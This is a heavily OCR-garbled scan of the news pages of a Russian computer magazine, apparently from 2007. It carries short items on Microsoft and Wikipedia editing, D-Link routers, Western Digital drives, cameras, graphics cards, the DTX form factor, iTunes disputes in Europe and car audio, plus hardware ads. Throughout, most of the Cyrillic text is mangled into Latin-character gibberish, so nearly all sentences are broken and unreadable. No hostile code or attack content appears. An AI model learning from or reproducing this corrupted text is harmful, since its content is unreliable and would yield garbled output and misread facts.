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H3E1 NEWS & TRENDS 


HE 3 ABMCMM 0 E MHEHNE 

Microsoft 
npeMupyeT obto- 
poB ApyjKecTBeH- 
Hbix nydniiKauMN 



EZZliEdBMEI HaHec Han6ojib- 
uj m ypoH co6ctb6hhom penyia \\m, 
cflenaB HermuenpHRTHoe npefl- 
nojKemie Microsoft aoctorhhcm 

OOlHeCTBeHHOCTII 


MeTOflbi npoABi/DKem/ifl co6c- 
TBeHHbix pa 3 pa 6 oTOK / ncno/ib 3 y- 
eMbie Microsoft, cra/iM npMHMHOM 
OHepeflHoro CKaHAa/ia. no yi- 
Bep>KAeHMK) aBCTpa/i mmckoto 
XML-nporpaMMMCTa M3 KOMna- 
h mm TopoLogi Pma fl>Ke/i/i nc)Da, 
oh no/iyHM/i nncbMO M 3 PeAMOHAa, 
b kotopom roBopmcfl o >Ke/i a h i/i i/i 
KOMnaH mm npMB/ienb koto-to 
«He 3 aBMCMMOrO, HO APy>KeCTBeH- 
Horo»A/i^ peAaKTi/ipoBa Hi/i5i cra- 

TeM B 0H/iaMH-3HI4MK/10neAHI/l 
Wikipedia (b HacTHocTM, o cj/op- 
Maiax ODF m OOXML) 3 a Aenew- 
Hoe B03Harpa>KAGHMe. fl>Ke/i/iMc|D, 
aBTop KHMri/i «The XML & SGML 
Cookbook», no co 6 cTBeHHOMy 
npM3HaHi/iio, AeMCTBme^bHo pe- 
AaKTi/ipoBa/i CTaTbi/i b Wikipedia, 
OTKpbiTOM A-n^ b h ece h 1/153 i/i h c(do p- 
Ma 141/1 m KeM yroAHO, /lMWb ycrpa- 
H5151 HeTOHHOCTI/l, HO Ae/ia /1 3TO 
TO /1 bKO M3-3a 3HTy3Ma3Ma 1/1 HM- 
KorAa He CHma/i ce65i npoMafi- 


KpOCOC|DTOBCKM OpMeHTMpOBaH- 
HblM pa 3 pa 60 THMK 0 M. ll 03 T 0 My 
oh He cne/i 3 a 3 opHbiM paccKa- 
3 aTb 06 3 TOM npeAJ10)KeHMM B 
CBoeM 6/iore. 

BypHyio peaKAMio Bbi3Ba/ia 
3TMHecKa5i dopoHa Bonpoca. 
OopMaT AOKyMeHTOB ODF, noA- 
Aep>KMBaeMbm Sun, IBM m He- 
CKO/ibKMMM KOMnaHM 5 iMM Open 
Source, KOHKypi/ipyeT c OOXML, 
npoABMraeMbm Microsoft. 
OneBMAHO, b Hbio no/ib 3 y npeA- 
ziara/iocb fl>Keji ji M cfiy H3Me- 
H5iTb coAep>KaHMe craTeM 0 
HI/IX. CaMa KOMnaHM51 KOMMeH- 
TMpOBaTb MHI 4 MAGHT OTKa3a- 
ziacb, 60 /ibiue ApyrMx >Ke ao- 
da/iocb aBCTpa/iMMuy. K ero 
ny 6 /iMKaun 5 iM cram OTHoemb- 
C51 C 6 o/lbLUMM HeAOBepueM, 
a He 3 aBMCMMbie peAaKTopbi 
Wikipedia Boo 6 iAe noAyMbiBa- 
iot 0 tom, HTo 6 bi 3anpeTMTb eMy 
AOCTyn k peAaKTMpoBaHMK) 3H- 
AMK/ioneAMM. 

B coo 6 iAeHM 5 ix 0 «npon/ianeH- 
Hbix» 6 /iorrepax Microsoft cf)Mry- 
pupyeT He BnepBbie. Uamina 
i/i ct 0 p 1/153 c npeA/io>KeHMeM ho- 
yT 6 yKOB b noAapoK caMbiM 
aKTMBHbiM aBTopaM ny 6 /iMKa- 
141/iM npo n/ieep Zune. BnponeM, 
TaKMM 06 pa 30 M KOMnaHM 51 
Microsoft caMa jimuaeT no/ib- 
30 BaTe/ieki bo 3 mo>khoctm He- 
noAAe/ibHO BOCxniAaTbC 5 i pa 3 - 
/lMHHblMM HOBMHK 3 MM. BeAb, 
ec/iM KTO-Hn6yAb HanuiueT, 
KaK npeKpaceH HOBbm Zune, 
eMy MoryT 3 aAaTb Bonpoc: 
K 3 KMM HOyT6yKOM Te6/1 OAa- 
pi/1/in 3 a KpacHopen Me? 

www.oreillynet.com 


POYTEPbl KO Mil AH MM D-LINK 

Eeooe njiepHoe 



DIR-635, DIR-655, DIR-855 


HoBbie MOAe/iM decnpoBOflHbix MapwpyTM- 
3 aTopoB D-Link noAAep/KMBaiOT CTaHnapT 802.11 n 


KoMnaHM5i D-Link, BeAyiAMM noc- 
TaBiAMK ceTeBbix ycrpoMCTB nnn 
AOMaiiJHMx no/ib30BaTe/ieM b 
Poccmm, Becb npoLU/ibiM toa ocra- 
Ba/iacb HecKO/ibKO b iem cbomx 
KOHK ypeHTOB. B Hana/ie 2007 roAa 
no/io>KeHMe M3MeHM/iocb: o6me- 
CTBeHHocTM 6bi/ia npeACTaB/ieHa 
06H0B/ieHHa51 JIMHeMKa yCTpOMCTB 
Bcex K/iaccoB, HaHMHa/i ot npo- 
CTblX CBMTHeM M 3aKaHHMB351 MOLA" 
HbiMM 6ecnpoBOAHbiMM poyTepa- 
mm. HoBbie MOAe/iM Bbino/iHeHbi b 
H epHo-6e/ioM raMMe — p,v\3av\He- 
pbi ocHOBaTe/ibHo nopa6oTa/iM HaA 
BHeilJHMM BMAOM MapwpyTM3aTO- 
poB. OAHaKO pj\n Hac ropa3AO 
Ba>KHee to, hto paAMKa/ibHo M3Me- 
HM/1C51 He TO/lbKO BHeilJHMM BMA 
ycTpoMCTB D-Link, ho m mx BHyT- 
peHHee ocHaneHMe. 

Hto KacaeTC5i CBMTHeM, to D-Link 
Hana/ia 3aKOHOMepHbm nepe- 
xoa Ha CTaHAapT IEEE 802. 3ab 
lOOOBase-T Gigabit Ethernet, 
BbinycTMB MOAe/iM DGS-2205 
(5 nopTOB) m DGS-2208 (8 nopTOB). 
BnponeM, no/ib30BaTe/iM, He we/ia- 
loiAMe nepen/iaHMBaTb 3 a Gigabit 
Ethernet, MoryT orpaHMHMTbC5i no- 
KynKOM CTaHAapTHbIX yCTpOMCTB 

DGS-1105 m DGS-1108. 

Fla CMeHy ycrapeBUJMx ADSL- 
MOAeMOB m MapmpyTM 3 aTopoB 


HaKOHeu-TO npMiujia HOBa/i m- 
HeMKa o6opyAOBaHM5i craHAapTa 
ADSL 2+: DSL-2300, DSL-2500, 
DSL-2540 m DSL-2640. A ca- 
MbixTpe6oBaTe/ibHbix no/ib30BaTe- 
zieM «CTPMM» KOMnaHM5i D-Link 
MO>KeT Tenepb npeA/io>KMTb moia- 
HblM 6ecnpOBOAHOM ADSL-UJ/1103 c 
noAAep/KKOM CTaHAapTa 802. lln. 

KcTaTM, A/ifl pa6oTbi no HOBOMy 
6ecnpoBOAHOMy CTaHAapTy npo- 
eKTa cneuMcj/MKaAMM IEEE 802. lln 
KOMnaHM5i pa3pa6oTa/ia cepnio 
MapmpyTM3aTopoB, KOTopa/i Bmuo- 
HaeTC/ieAyioiAMeycTpoMCTBa: DIR- 
625, DIR-635, DIR-655 M DIR-855. 

fl/151 n OAK/1 K)HeHM51 K HMM n K M/1M 
HoyT6yKa ziyniue Mcno/ib30BaTb 
CKopocTHbie aAanTepbi: DWA-542, 
DWA-552, DWA-556, DWA-642, 
DWA-643, DWA-645 m DWA-652. 

OAHaKO caMOM MHTepecHOM, Ha 
Ham B3r/i5iA, hobmhkom /ib/i/iiotc/i 
6ecnpoBOAHbie MapmpyTM3aTopbi 
c noAAep>KKOM coTOBbix ceTePi Tpe- 
Tbero noKO/ieHM5i: DIR-450 MO>KeT 
pa6oTaTb b ceTM CDMA craHAapTa 
lx EV-DO, a MOAe/ib DIR-451 pac- 
CHMTaHa Ha eBponeMCKMM BapnaHT 
UMTS/FISDPA. fl /151 noAK/uoHeHM5i 

K COTOBOM CeTM Heo6xOAMMO BCTa- 
BMTb 3G-KapTy b PCMCIA-c/iot, 
KOTopbiM ocHameHbi 06a Mapmpy- 
TM33Topa. ■ www.dlink.ru 



POVTEP DIR-450 


ocHameH MOAyneM lx EV-DO ajir pafioTbi b coTOBbix 
ceTRX CDMA (MOfle/ib DIR-451 oft/ia/iaeT noflflep/KKOM UMTS/HSDPA) 
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TAEy HA IPOD 



mismmHm flo 6 aBMJin 3 a 6 oT yjiMHHbiwi perynupoBuiMKaM - Tenepb ohm dyayi ujipac| 30 - 
eatb He 3 aflaHjiMBbix nemexoflOB 3 a Mcnojib 30 BaHMe aneKTpoHHbix ycipoMCTB 


B Hbfo-MopKe BCKope 6yAeT bbcaoh hobum 
iiiTpac)): $100 npMAeTcn 3an/iaTMTb TeM, kto 
6yAeT nepexoAmb y/iMLty, c/iyman iPod mjim 
pa3roBapMBa5i no coTOBOMy Te/iec|30Hy. C Ta- 
KOM MHMAMaTMBOM BblCTynMJl CeHaTOp llJTaTa 
HbK)-l7lopK Kap/i Kptorep, noc/ie Toro KaK b ero 
POahom BpyK/iMHe 3a KaKi/ie-TO napy MecnueB 
6bi/in c6mbi ipn neuiexoAa, c/imwkom yB/ie- 
HeHHbie CBOMMM 3/ieKTpOHHblMM ydpOMCTBa- 


mm. no c/iOBaM oneBMAueB, KTO-Hn6yAb o6n- 
3aie/ibHO ycneBa/i KpMKHyrb m npeAynpeAMTb 
mx 06 onacHOCTM, ho TiAeTHO. 

He co6Mpafocb 3anpeiAaTb sto. Ho He- 
peAKO 3a3eBaBiuMMC5i Me/iOMaH mjim MrpoK 
CTynaeT b noTOK aBTOMo6M/ieM, m 3to craHO- 
bmtca HauMOHa/ibHOM npo6/ieMOM», — OTKOM- 
MeHTMpoBa/i cbok) MHMAMaTMBy ceHaiop. 

■ www.nytimes.com 


MECTKME flMCKM 


«CKopmiOHbi» c PMR 



HOBbIM SCORPIO 


OTJIMHaeTCR dOJlblUOM 
eMKOCTbH) M 6 ec- 
LUyMHOM padOTOM 


KoMnaHMn Western Digital Hana/ia BbinycK 
>KeCTKMX AHCKOB (jDOpMaia 2,5 AK)MMa c cmc- 
TeMOM nepneHAMKy/inpHOM 3anMCM (PMR). 
3ia TexHOJiorMfl no3BO/ineT pa3MecTMTb 
Ha oahom n/iacTMHe ao 80 V6av\i MH(j}opMai4MM, 
hto b cyMMe pj\s\ >KecTKoro AUCKa WD1600BEVS 
cocTaBnnei eMKoerb 160 r6aMT. 

HecMOTpn Ha BbicoKyK) CKopocTb BpaneHMn 
mnMHAe/in (5400 o6./mmh.), ahckm ocrafOTCfl 
OHeHb TMXMMM M OTJIMHafOTCfl HaAe>KHOCTbK) 
m KpaMHe hm3kmm 3Hepronoipe6/ieHMeM. 
rioc/ieAHee KanecTBO Aocmraeicfl KaK 3a cneT 
annapaTHbix,TaK m MMKponporpaMMHbix cpeACTB, 
a TaK>Ke c noMOiAbto craBweM y>Ke TpaAMUMOH- 
hom paMnbi napKOBKM A-na i"ojiobkm. 

■ UeHa, $: 1 65 

■ www.wdc.com 




DrayTek 

www.draytek.com 


CepMn Vigor 2910V 

06opyfloeaHa 2 WAN-nopiaiviw 
peaepB^pOBaHnsi w 6aiiaoipOBKn 
HarpyaKM 

PeKOMeHflyeMa^ wnrepHeT- 
MaraawHOM "SIP Trade" 

Super G 6ecnpOBOAHafl TOHKa 
Aocryna + VoIP 


CepMfi Vigor2700e 

► MHOro0yHKMviOHajibHb[w poyrep c 
GpaHflMayapoM 

► BdpoeHHbtM ADSL2/2+ moabm 

► CoBMeciMMa c ycnyrow "Ctpmm TB" 

► floflAep>KKa rex h on o run Annex M 


Cepusi Vigor Access 

► 24-x nopTOBbiw ADSL2/2+ IP-DSLAM 
co BcrpoeH h bi m H cruimrepaivtM 

► PaccH UTana Ha npkmoxeHMfl 
'Triple Play" 

► VAo6Hoe ynpasneHMe c noMombK) 
VigorCMS 






Air 

(405) 530-99-40. 787-93-56 
http7Awww.atg.ru/ 


C 03 BG 3 flHe 

(495) 612-07-41. 510-72-63 
http : //www, sotech.ru/ 
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H3E1 NEWS & TRENDS 


MHTEPHET-TEJ1E4>0HM)I 


(DOTOKAMEPA KOMflAHMM SAMSUNG 


JleTaioman 
TapenKa ClearSky 



CLEARSKY 


Ha /jaHHbm 

MOMeHT Ha pOCCHHCKOM 
pbiHKe HeT aHajiorHHHbix 
Bluetooth-ycTpoMCTB 
flaHHoro KJiacca 


B npow/iOM roAy KOMnaHMn 
TRENDnet Bbinycm/ia opumHa/ib- 
HbiM VoIP-Te/iec|DOH TVP-SP1BK, 
KOTOpbIM nOAK/lfOHa/lCfl K KOMnbfO- 
Tepy no Bluetooth. Mbi npoTecm- 
pOBa/lM HOBMHKy m y6eAM/iMCb 
b nepcneKTMBHOCTM noAo6Horo 
pOAa yCTpOMCTB — HOBbIM CTaH- 

AapT Bluetooth 2.0 c noAAepwKOM 
EDR o6ecneHMBa/i BbicoKyio cko- 
pocTb nepeAaHM AaHHbix (ao 
3 M6mt/c). CnycTn HecKO/ibKO 
Mec^ueB Mbi yBMAe/iM npoAO/UKe- 
m/ie AaHHOM cepm/i b opumHa/ib- 
hom ycrpoMcrae TVP-SP4BK. 


KoMnjieKT ClearSky coctomt 
M 3 USB-aAamepa TBW-104UB 
(71,25x35,6x11 mm, 10 r) m CMCTe- 
Mbi KOH(J}epeHi4-CB5i3M TVP-SP4B 
(242x242x54 mm, 500 r) — He- 
o6biHHoro ycTpoMCTB a, KOTopoe 
c/ierKa HanoMMHaeT /leiafoiAyfo 
Tape/iKy. Ha 6a3e MMeeTcn: nopT 
mini-USB AJifl 3apnAKM (b KOMn- 
jieKT nodaBKM bxoamt USB-Ka6e/ib 
A/1MHOM 1 m), TpM BCTpoeHHbIX 
MOHOCjDOHMHeCKMX MMKpOCf)OHa M 
OAM H BCTpoeHHbIM AHH3MMK. 

UeHa, $: 120 
■ www.trendnet.com/ru 


CianbHOM Kopeeu 



HOBAR KAMEPA SAMSUNG L700 

pacnonaraeT 7-MerannKcenbHbiM 

pa3pemeHHeM n 3-KpaTHbiM onTMHecKMM 3yM0M 

KoMnaHMn Samsung Electronics 

«HOHb», «riopTpeT», «fleTM», 

Bbinycm/ia cm/ibHyio cjDOTOKaMe- 

«rieM3a>K», «MaKpo», «3aKaT», 

py L700 b MeTa/uiMHecKOM Kop- 

«BcTpeHHbm CBeT», «OeMepBepK» 

nyce. HoBMHKa OT/iMHaeTcn 7- 

m «rinn>K». Samsung L700 MMeeT 

MeranMKcenbHbiM pa3pemeHMeM, 

paciuMpeHHbie cjoy h kum m bmaoo- 

3-KpaTHblM OnTMHeCKMM 3yMOM, 

ci>eMKM b cfiopMaTe MPEG-4: 

2,5-AfOMMOBbiM >KK-AMcnjieeM m 

VGA-KanecTBO co CKopocTbfo 

UJMpOKMMM B03MOKHOCTHMM BM- 

30 KaApoB/c. Cra6M/iM3aTop KaApa 

AeocbeMKM m peAaKTMpoBaHMn. 

noMoraeTyMeHbiuMTb noc/ieACTBMn 

BnaroAapn BbiAep>KKe ao 1/2000 

coTpnceHMM KaMepbi, a HenpepbiB- 

M CBeTOHyBCTBMTe/lbHOCTM AO 

Han BMAeo3anMCb no3BO/meT Ae- 

ISO 1600 MO>KHO B0Cn0Jlb30- 

naTb nay3bi npM cbeMKe, a 3aTeM 

BaTbcn BbicoKMM pa3pemeHMeM 

B0306H0BJlflTb ee M C/lMBaTb p^A 

L700 b ji kd6om CMTyapMM. B mo- 

BMAeOCjDaMJlOB B OAMH. 

Ae/iM L700 pea/iM30BaHbi 11 cfo- 

UeHa, $: 255 

>KeTHbix pe>KMMOB, BK/uonan 

www.samsung.ru 


GPS-HABNrAL|N5l 

najioHKa-BbipynajioHKa 


HoBoe ycrpoMCTBO Dandella, 
B3nBiuee nepBbiM npM3 Ha koh- 
Kypce International Design Com- 
petition Osaka, MAea/ibHo no- 
AOMagt /uo6oMy no/ib30Baie/iK), 
oco6eHHo pe6eHKy. BM3ya/ibH0 
oho HanoMMHaeT BO/iLue6Hyio na- 
zioHKy, Hewe/iM OAyBaHHMK, b necib 
KOToporo 6bmo Ha3BaH0. 

HamiOH tm6kom CBemiAeMcn 
BepiuMHKM co cneuMa/ibHbiM npM- 
boaom yKa3biBaeT HanpaB/ieHMe k 
aHaJlOTMHHOMy CMHXpOHM3MpO- 
BaHHOMy ycTpoMCTBy. B c/iy^ae 


ec/iM oaho M3 hmx pacno/iowMTb B 
cneuMa/ibHOM AOK-craHAMM (Hano- 
MMHafoiAePi Ba3y) y KOMnbfOTepa 
m/im npM noMOiAM Bluetooth co- 
eAMHMTb c Kn K, to Ha Ancnnee 
ywe b npMBbiHHOM BMAe Ha 3/ieK- 
TpOHHOM KapTe mo>kho 6yAeT Ha- 
6/ifOAaTb no/io>KeHMe Apyroro 
3/ieKTpoHHoro «UBeTKa». 

KoHuenpMn Dandella HeABy- 
CMbic/ieHHo yKa3bmaeT Ha to, hto 
OHa paccHMTaHa npe>KAe Bcero Ha 
AeTePi m mx poAMTe/ieM. 

■ www.jdf.or.jp/eng 
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YCTPOMCTBO OTOBPAMEHMfl NHCDOPMAUNN B ABTOMOEMJ 1 E 


MH(|)OpMaitMfl 
3a J1060BblM CTeKHOM 



HUD GPS SPEEDMETER 


cnocofieH nopoflHmb 
odbiHHbm aBTOModmib c 6oeBbiM MCTpedMTeneM 


flo CMX nop JlMWb HeKOTOpbie MOfle/lM 3BTO 
ocHama^MCb cneuna/ibHbiMM cpeflCTBaMM oto 6- 
pa>KeHM51 MHC|30pMaUMM, MCnO/lb3yiOLAMMM OTpa- 
>KeHne ot / io6oBoro creK/ia, 3a cneT Hero M3o6- 
paweHMe BOcnpMHMMaeTcn noBMCWMM b B03flyxe 


Aa/ieKO 3a npeAe/iaMM Kanoia. no 6ojibwoMy 
cneiy noAo6Hoe peweHMe cra/io craHAapTHbiM 
A/ifl 6oeBbix MCTpe6me^eM. KoMnam/ifl GLobaLTop 
Technology npeAcraBM/ia ycrpoMcreo, no3BOJin- 
fomee nopoAHmb ^kd6om aBTOMo6M/ib c MCTpe6n- 
Te/inMM, ocHacTMB ero noAo6HbiM cpeACTBOM 
0T06pa>KeHM51 MHCjDOpMaUMM. 

KoMnaKTHbm 6 jiok HUD GPS speedmeter — 
a MMeHHo TaK Ha3biBaera HOBMHKa — BKmonaeT 
b ce6n cneuMa/ibHbm A^cn/ieM, 32-KaHa/ibHbm 
GPS-MOAy/ib, a TaK>Ke 6ecnpoBOAHOM MmepcjDeMc 
Bluetooth pj\n KOMMyTauMM c KnK mjim CMapTcfio- 
hom c KapiaMM HaBMrauMM. 

YcTpoMCTBOM npoeuMpyeTcn KaK Tpe6yeMoe 
HanpaB/ieHMe ABMweHMn (no/iyneHHoe c GPS- 
npMeMHMKa), TaK m noKa3aHMn cnuAOMeipa. 
l/lHc()opMauMM o ctommoctm GPS-cnMAOMeTpa 
noKa HeT, ho M3Becmo, hto ero nepBbie npeAce- 
pMMHbie o6pa3Ubl AOJDKHbl nOflBMTbCfl y>Ke K 
anpejifo 3Toro roAa. 

■ www.gtop-tech.com 


GEFORCE 8800 GTS C 320 MEANT flAMRTM 



MeHbuie He 3HaHMT xyrce 


PA30rHAHHAR BEPCHR flJlATbl 


nojiynmia 

OKOHHamie OC (ot OverClocking) b nojiHOM 


Foxconn npeAcraBM/ia ABa HOBbix Tuna bmago- 
n/iaT GeForce 8800 GTS — FV-N88SMCD2-0N 
i/i FV-N88SMCD2-0N0C co CHMweHHbiM ao 
320 M6aMT ob^eMOM onepaTMBHOM naMFiTM. 
flpyroTApyra MOAe/iM OT/iMHaiOTCfl nacroTaMM: 
nepBan M3 hmx 6yAeT pa6oTaTb Ha LUTaTHbix, 


peKOMeHAOBaHHbix NVIDIA 500 m 1600 MHa A-n^ 
Hkina i/i naMATM cooTBeTcraeHHO, BTopan — Ha 
3aBbimeHHbix 575 m 1800 MVu,. 

rioAobHbie peweHMn AOJDKHbl no/iHocrbio 
ce 6 n onpaBAaTb. fle/io b tom, hto b 6 ojibWMHc- 
TBe c/iynaeB Becb 06 -beM naMATM craHAapTHOM 
640-Mera6aPiTHOM BMAeon/iaTbi 8800 GTS no/i- 
HocTbio He ncnojib3yeTCfl. 3aAeMCTBOBaTb Bee 
640 M 6 aMT npeACTaB/ineTcn B03M0>KHbiM jiMLUb 
b 3KCTpeMa^bHbix pe>KMMax pa 6 oTbi c mohmto- 
paMM, OT/ii/iHaioiAi/iMMcn bhcokhm pa3pemeHM- 
eM. ripM o 6 biHHbix napaMeTpax m HeBbicoKOM 
ypoBHe AA i/i AF npeMMynecTBO no/iHOM Bepcm/i 
HaA ype3aHHOM OKaweTcn noA BonpocoM: 
OAMHaKOBoe KO/iMHecTBO 3Kcn^yaTnpyeMOM 
onepaTMBHOM naMATM n/iioc /lMiuHMe TaKTbi, 
3aTpaneHHbie KOHTpo/i/iepoM Ha HeMcno/ib30- 
BaHHbiM o 6 -beM, MoryT npMBecTM k napaAOK- 
ca/ibHOMy pe3y/ibTaTy — He3HaHMTe/ibHOMy 
npeBOCxoACTBy 320-Mera6aMTHOM BepcMM HaA 
640-Mera6aMTHOM. 

■ www.foxconn.ru 


4l/erA1edia 

www.avermedia.ru 



AVerTV Studio 505 / 507 

• nepeflOBaa MOAe/ib Ttoinepa Philips c 
4)yHKi4MaMM oSteMHoro 3ByKa m 
pery^npoBKn TeM6pa 



AVerTV Hybrid+FM Cardbus 

• AHajioroBoe TB, i 4 nc()poBoe TB i/i FM- 
pafluo 

• CTepeo3ByK 

• CepTM(|)MunpoBaHHbiM jioroTHn 
Windows XP MCE 



AVerTV Box9 

• noflflepxKa pa3peLueHM5i ao 
1 280x1 024(SXGA) 

• KaAP b KaApe (BnAeo 
noBepx VGA) 

peKnaMa 
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MMHMMAJlM 3 AL|Mjl OK 

cDopM-c|]aKTop 
aim flecKTona 



B Hana/ie HbmeLUHero rofla kom- 
nanm AMD Bbicrynmia c npeA/io- 
>KeHMeM O npMHflTMM HOBOTO 
C|30pM-c|DaKT0pa KOMnaKTHbIX 
HacTO/ibHbix I1K, KOMn/ieKTyK)HMe 
Rnn Kcuoporo b c/iyHae Heo6xo- 
Ammoctm mc»kho 6yAeT pa3Mec- 
TMTb m b Kopnyce ATX. 

TaKOM CTaHAapT nojiynmi Ha- 
3BaHne DTX, m 6/in>Ke k KOHuy 
3MMbl 6bl/lM npMHflTbl OCHOBHbie 
ero cnepnc|3MKauMM. B hmx bxo- 
Aat ra6apMTHbie pa3Mepbi, pac- 
ctoahma Me>KAy Kpene>KHbmM 
OTBepCTMflMM M MX KOJlMHeCTBO, 
HMC/10 CJIOTOB M APyrMe OCHOB- 
Hbie xapaKTepMCTMKM. 

TMn CJIOTOB MO>KeT BapbMpO- 
BaTbCfl — npeAycMOTpeHo mc- 
no/ib30BaHMe KaK PCI, TaK m PCI 
Express, a Taione Aono/iHMTe/ib- 


HbiM MHTepc|DeMC Xpress Card, 
KOTopbiM no3BO/iMT npM Heo6xo- 
AMmoctm noAK/ifonaTb KpynHora- 
6apMTHbie npoM3BOAMTe/ibHbie 
BMAeon^aTbi, ocHaiAeHHbie mh- 
Tepc|)eMCOM PCI Express. 

IlMTaHMe 6yAeT ocyiAecTB/i/iTb- 
Cfl npM noMOLAM 24-iUTbipbKOBoro 
M AOnOJlHMTe/lbHOrO 4-WTbipbKO- 
Boro pa3-beMOB. fl/ia toto HTo6bi 
Kopnyc cmot BMecTMTb craHAap- 
THbiM KOMnbiOTepHbiM 511, noc- 
jieAHMM npeAno/iaraeTC/i pa3Me- 
naTb BepTMKa/ibHo. 

KpoMe ochobhoto cfiopMaTa 
DTXiaK>Ke npMHHTc|DopM-c|DaKTop 
Mini-DTX, OT/iMHaiOLAMMCfl 6o/iee 
KOMnaKTHbiMM ra6apMTaMM Maie- 
pMHCKOM n/iaTbi (170x203 mm 
npoTMB 244x203 mm y DTX). 

www.dtxpc.org 






3AUWTA nOTPEBMTEJIEH 


K KOHuy HbmeLUHero roaa Apple npufleTCR Hana- 
AMTb OHjiaHH-npoAaxty My 3 biKM He TOJibKO ajih cbomx ruieepoB 


nOTPEBMTEJlbCKMM PbIHOK 

EBpona Tpe6yeT 
pasMexceBaTb 

iTunes u iPod 


CBA3Ka iTunes m iPod, OKa3bma- 
eTca, He y Bcex HaxoAMT TO/ibKO 
BOCTOp>KeHHbie OTKJ1MKM. B MIOHe 
2006 roAa rpynna noTpe6MTe/ib- 
ckmx accouMauMM HopBerMM, 
flaHMM m LUBeuMM HanpaBM/ia b 
Apple >Ka/io6y. B Hen roBopMTC/i, 
hto TpeKM, Kyn/ieHHbie b iTunes 
Music Store, mo>kho npoMrpbmaTb 
TO/lbKO Ha iPod M B TO >Ke BpeMfl 
3 tot n/ieep, KaK npaBM/10, He 
npueM/ieT cf)aMjibi Apyrux oh- 
/iaMH-Mara3MHOB. A 3to, b cbokd 
onepeAb, HapymaeT MecTHbie 3a- 
KOHbi. CKaHAMHaBbi noTpe6oBa/iM 
OTKpbiTb AOdyn k iTunes Music 
Store AepwaTe/ieM Apyrux 
n/ieepoB, b npoTMBHOM c/iynae 
npurpo3MB noAaib mhotomm/ijim- 
OHHbie mckm. «CAe/iaMTe iTunes 
coBMecTMMbiM c apYemmm n/iee- 
paMM ao 1 OKTfl6p/i 2007 roAa 
m/im Mbi 3aiaiAMM Bac b cyA, — 3a- 
53 B M/l BJlMflTe/lbHblM HOpBe>KCKMM 
OM6yACMeH BbepH 3pMK Toh. — 
He MO>KeT6biTb HMHero xopowero 
B npMB5!3Ke OrpOMHOM My3blKa/lb- 
HOM MHAyCTpMM K OAHOMy npOM3- 
BOAMTe/lK)». 


lloHMH cKaHAMHaBOB noAAep- 
>Ka/lM 0MH/151HAMfl, TepMaHM51, 
0paHAM51 M lOJUiaHAMfl, TaK>Ke 
npMrpo3MBUJMe cyAe6HbiMM pa3- 
6Mpaie/ibCTBaMM. «KorAa a noKy- 
naio CD, n Mory c/iywaTb ero b 
/ho6om n/ieepe. KynMB My3biKy c 
noMOUbio iTunes, a He xony 6biTb 
npMB5i3aH k iPod ao KOHua cbomx 
AH eM», — 335i b M/ i maBa ro/i/iaHA- 
ckom accouMauMM noTpe6MTe^eM 
3Ba^bA BaH KyBeH. 

YHMTbiBafl, hto npoAa>KM iPod m 
My3biKM nepe3 iTunes Music Store 
b EBpone TO/ibKO b neTBepTOM 
KBapia/ie 2006 roAa npuHec/in 
KOMnaHMM 60/iee $1 M/ipA, Apple 
He Moma ocraBaTboi b dopoHe. 
Ee npeAdaBMTe/iM noo6ena/iM b 
CKOpOM BpeMeHM npeA/10)KMTb Bbl- 

xoa M3 CMTyauMM. YiemeHMeM atia 
Apple MO>KeT c/iy>KMTb, nowa/iyM, 
JIMLUb TO, HTO eBponeMCKMe 33LAMT- 
hmkm npaB noTpe6MTe/ieM noo6e- 
na/iM o6pymMTbc/i c noAo6HbiMM 
MCKaMM Ha JlK)6orO, KTO nOBTOpMT 
noAo6Hyio npaKTMKy — «6yAb to 
Microsoft m/im Sony». 

■ www.apple.com 
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(DJIEIll-HAKOnMTEilM B CAR AUDIO 

<t>nem-My 3 biKa b bbto 



USB B ABTOMOBMflbHOM CDnPOUrPblBATEJlE 


- npodo, KaK M Bee rewiajibHoe 


y 6o/ibiunHCTBa B^afle^bueB n K 
AOMaw haa My3biKa^bHa5i 6n6- 
JlMOTeKa XpaHMTCfl B OKaTbIX 

ayAMOc|3opMaTax. ripn 3tom f \ ns \ 
nepeHoca ee Haem b aBTOMO- 
6n/ib Tpe6oBa/iocb /in6o 3ann- 
caTb CD/DVD, jih6o >Ke ncno/ib- 
30BaTb MarH mo/iy n Hocme/ib 
My3biKa/ibHoro KOHTema, ocHa- 
meHHbie Bluetooth c c|)yHKUn- 
en nepeflaHM ayAnonoTOKa. 


riepBbm BapMaHT OTKpoBeH ho 
H eyflo6eH, BTopon — KaK flopor, 
TaK n He rapaHTMpyeT aoctom- 
Hoe KanecTBO 3BynaHHfl. 
KoMnaHHfl Sony B3fl/iacb peiumb 
3Ty npo6/ieMy, BbinycTMB nep- 
BbiPi aBTOMo6n/ibHbm CD-pecMBep 
CDX-GT410U, ocHaiAeHHbiPi hh- 
Tepc|3eMCOM USB. TaKoe npodoe 
pemeHMe no3BO/i5ieT 3HaHHTe/ib- 
ho ynpocTmb npouecc nepeHO- 


ca /iio6nMoro My3biKa/ibHoro 
Maiepna/ia H3 KOMnbioTepa b 
aBT0M06n/lb. n pMHeM b KanecT- 
Be Hocmejifl nHc|DopMaunn mo- 
ryT 6biTb ncno/ib30BaHbi KaK 
coBMecm m bie nopiain bh bie 
n/ieepbi co BdpoeH h bi m USB- 
nopTOM, KOTopbie onpeAe/iaiOTCfl 
KaK o6bNHbie HaKonme/iM, TaK 
n HenocpeACTBeHHo c|3/ieiu- 
ApaPiBbi mo 6 ov \ eMKOdn. 


Sony ochobhom MapKeinHro- 
Bbm ynop TpaAHUMOHHO Ae/iaeT 
Ha ycTpoMCTBa co6cTBeHHoro 
npOM3BOACTBa. ripM nOMOlAM 
riflY CD-peaiBepa npeAycMOTpe- 
Ha B03M0>KH0CTb no/iHoro ynpaB- 
zieHMfl nopTaTMBHbiMM n/ieepaMM 
Sony, ocHaiAeHHbiMM BcrpoeHHbiM 
USB-MHTepc|DeMCOM. 

■ UeHa, $: 190 

■ www.sony.ru 


H0BA5I (D0T0KAMEPA CANON 

llpoi|ieccHOHaii 


OnpMa Canon aHOHcnpoBa/ia 
o6HOB^eHHyK) MOAe/ib CBoen 
^ereHAapHOM KaMepbi E0S-1D 
Mark III. HoBMHKa OTJinHaeTCfl 
10,1-MerannKce/ibHOM Maipn- 
AeM C HyBCTBMTe/l bHOCTbK) ISO 
3200 (6400 — b pacwnpeHHOM 
pe>KM Me) . HOBblM CABOeHHblM 
npoueccop o6pa6oTKn n3o6pa- 
>KeH H5i DIGIC III no3BOJi5ieT 

npOM3BOAMTb BblCOKOCKOpOCT- 

HyK) cbeMKy (ao 10 KaApoB/c, 
b cepnn ao 110 KaApoB). 

fl/ia y/iyHiueHna 3Kcn/iyaia- 
AMOHHblX xapaKTepMCTMK B 
